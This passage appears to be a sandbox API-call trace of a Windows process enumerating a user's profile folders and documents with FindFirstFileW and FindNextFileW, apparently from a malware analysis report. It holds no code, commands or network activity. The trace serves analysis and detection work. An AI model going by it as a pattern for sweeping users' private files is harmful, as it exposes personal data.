lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x124d6cf0, ftCreationTime.dwHighDateTime=0x1d4c8ef, ftLastAccessTime.dwLowDateTime=0x65e3a080, ftLastAccessTime.dwHighDateTime=0x1d4c798, ftLastWriteTime.dwLowDateTime=0x65e3a080, ftLastWriteTime.dwHighDateTime=0x1d4c798, nFileSizeHigh=0x0, nFileSizeLow=0x18f1a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O2S3Yxp w.pptx", cAlternateFileName="O2S3YX~1.PPT")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a38310, ftCreationTime.dwHighDateTime=0x1d4cf88, ftLastAccessTime.dwLowDateTime=0xa3a970a0, ftLastAccessTime.dwHighDateTime=0x1d4c6c3, ftLastWriteTime.dwLowDateTime=0xa3a970a0, ftLastWriteTime.dwHighDateTime=0x1d4c6c3, nFileSizeHigh=0x0, nFileSizeLow=0x80ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qi4IqurK09.ods", cAlternateFileName="QI4IQU~1.ODS")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77508dc0, ftCreationTime.dwHighDateTime=0x1d4c69d, ftLastAccessTime.dwLowDateTime=0x8cb2f710, ftLastAccessTime.dwHighDateTime=0x1d4d517, ftLastWriteTime.dwLowDateTime=0x8cb2f710, ftLastWriteTime.dwHighDateTime=0x1d4d517, nFileSizeHigh=0x0, nFileSizeLow=0xeadc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qt-jSAXq.rtf", cAlternateFileName="")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747bcfe0, ftCreationTime.dwHighDateTime=0x1d4cfd2, ftLastAccessTime.dwLowDateTime=0x29eb5460, ftLastAccessTime.dwHighDateTime=0x1d4d3a5, ftLastWriteTime.dwLowDateTime=0x29eb5460, ftLastWriteTime.dwHighDateTime=0x1d4d3a5, nFileSizeHigh=0x0, nFileSizeLow=0x6520, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-x55k_cPLVq5X206.pptx", cAlternateFileName="S-X55K~1.PPT")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afde990, ftCreationTime.dwHighDateTime=0x1d4a3a5, ftLastAccessTime.dwLowDateTime=0xe7e2daf0, ftLastAccessTime.dwHighDateTime=0x1d47bb8, ftLastWriteTime.dwLowDateTime=0xe7e2daf0, ftLastWriteTime.dwHighDateTime=0x1d47bb8, nFileSizeHigh=0x0, nFileSizeLow=0x15f2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SmhleleUG.pptx", cAlternateFileName="SMHLEL~1.PPT")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f89950, ftCreationTime.dwHighDateTime=0x1d4cbdc, ftLastAccessTime.dwLowDateTime=0x25693910, ftLastAccessTime.dwHighDateTime=0x1d4cb1d, ftLastWriteTime.dwLowDateTime=0x25693910, ftLastWriteTime.dwHighDateTime=0x1d4cb1d, nFileSizeHigh=0x0, nFileSizeLow=0x11ff8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SP2GZ4Hm5D5gkPiI7Yd.odt", cAlternateFileName="SP2GZ4~1.ODT")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69962850, ftCreationTime.dwHighDateTime=0x1d4d1f8, ftLastAccessTime.dwLowDateTime=0xeb3ac7e0, ftLastAccessTime.dwHighDateTime=0x1d4ce5f, ftLastWriteTime.dwLowDateTime=0xeb3ac7e0, ftLastWriteTime.dwHighDateTime=0x1d4ce5f, nFileSizeHigh=0x0, nFileSizeLow=0x5da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ueOgE3Fdxzan.rtf", cAlternateFileName="UEOGE3~1.RTF")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca6ecd0, ftCreationTime.dwHighDateTime=0x1d48066, ftLastAccessTime.dwLowDateTime=0x35944a0, ftLastAccessTime.dwHighDateTime=0x1d4f42b, ftLastWriteTime.dwLowDateTime=0x35944a0, ftLastWriteTime.dwHighDateTime=0x1d4f42b, nFileSizeHigh=0x0, nFileSizeLow=0xb221, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uzFjE-EbKZbDlUR6.docx", cAlternateFileName="UZFJE-~1.DOC")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x502126e0, ftCreationTime.dwHighDateTime=0x1d4d27a, ftLastAccessTime.dwLowDateTime=0xeda0f580, ftLastAccessTime.dwHighDateTime=0x1d4cb09, ftLastWriteTime.dwLowDateTime=0xeda0f580, ftLastWriteTime.dwHighDateTime=0x1d4cb09, nFileSizeHigh=0x0, nFileSizeLow=0x6a12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="w6EPq2zN2ah.ppt", cAlternateFileName="W6EPQ2~1.PPT")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x256ecbe0, ftCreationTime.dwHighDateTime=0x1d4c5ce, ftLastAccessTime.dwLowDateTime=0x6451590, ftLastAccessTime.dwHighDateTime=0x1d4ccfd, ftLastWriteTime.dwLowDateTime=0x6451590, ftLastWriteTime.dwHighDateTime=0x1d4ccfd, nFileSizeHigh=0x0, nFileSizeLow=0xbcb4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W6IMk7.doc", cAlternateFileName="")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6d970, ftCreationTime.dwHighDateTime=0x1d4a91d, ftLastAccessTime.dwLowDateTime=0x8ca0fbd0, ftLastAccessTime.dwHighDateTime=0x1d4c718, ftLastWriteTime.dwLowDateTime=0x8ca0fbd0, ftLastWriteTime.dwHighDateTime=0x1d4c718, nFileSizeHigh=0x0, nFileSizeLow=0x17942, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WBp8E7tRnFvGA7kM1v.docx", cAlternateFileName="WBP8E7~1.DOC")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75970dd0, ftCreationTime.dwHighDateTime=0x1d4d50a, ftLastAccessTime.dwLowDateTime=0x9eb56b60, ftLastAccessTime.dwHighDateTime=0x1d4cf2b, ftLastWriteTime.dwLowDateTime=0x9eb56b60, ftLastWriteTime.dwHighDateTime=0x1d4cf2b, nFileSizeHigh=0x0, nFileSizeLow=0xcdb2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xDyNG4Bi0L.pptx", cAlternateFileName="XDYNG4~1.PPT")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfad7bd0, ftCreationTime.dwHighDateTime=0x1d4c87a, ftLastAccessTime.dwLowDateTime=0x15228cd0, ftLastAccessTime.dwHighDateTime=0x1d4ca2a, ftLastWriteTime.dwLowDateTime=0x15228cd0, ftLastWriteTime.dwHighDateTime=0x1d4ca2a, nFileSizeHigh=0x0, nFileSizeLow=0xef5a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XXACe99aeIe9AwdxB.doc", cAlternateFileName="XXACE9~1.DOC")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1557afb0, ftCreationTime.dwHighDateTime=0x1d4cf92, ftLastAccessTime.dwLowDateTime=0x881b3470, ftLastAccessTime.dwHighDateTime=0x1d4c58a, ftLastWriteTime.dwLowDateTime=0x881b3470, ftLastWriteTime.dwHighDateTime=0x1d4c58a, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_JLH3OA.odt", cAlternateFileName="")) returned 1 [0266.503] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1557afb0, ftCreationTime.dwHighDateTime=0x1d4cf92, ftLastAccessTime.dwLowDateTime=0x881b3470, ftLastAccessTime.dwHighDateTime=0x1d4c58a, ftLastWriteTime.dwLowDateTime=0x881b3470, ftLastWriteTime.dwHighDateTime=0x1d4c58a, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_JLH3OA.odt", cAlternateFileName="")) returned 0 [0266.503] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.503] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.503] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0266.503] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0266.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.503] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.503] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.503] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.503] PathFindFileNameW (pszPath="") returned="" [0266.503] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.503] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0266.503] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.504] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.504] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0266.504] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.504] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.504] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0266.504] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.504] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0266.504] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.504] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.504] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.504] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.504] PathFindFileNameW (pszPath="") returned="" [0266.504] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.504] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0266.504] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.504] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.504] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0266.504] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0266.505] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0266.505] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0266.505] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0266.505] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.505] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.505] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0266.505] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.505] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0266.505] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.505] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.505] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.505] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.505] PathFindFileNameW (pszPath="") returned="" [0266.505] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.505] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115970 | out: hHeap=0x640000) returned 1 [0266.505] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.505] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.505] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0266.506] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0266.506] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0266.506] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0266.506] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.506] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.506] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115918 | out: hHeap=0x640000) returned 1 [0266.506] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.506] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0266.506] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.506] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.506] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | out: hHeap=0x640000) returned 1 [0266.506] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.506] PathFindFileNameW (pszPath="") returned="" [0266.506] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0266.506] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff17f0 | out: hHeap=0x640000) returned 1 [0266.506] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.506] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0266.506] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.507] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0266.507] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0266.507] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.507] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077480 | 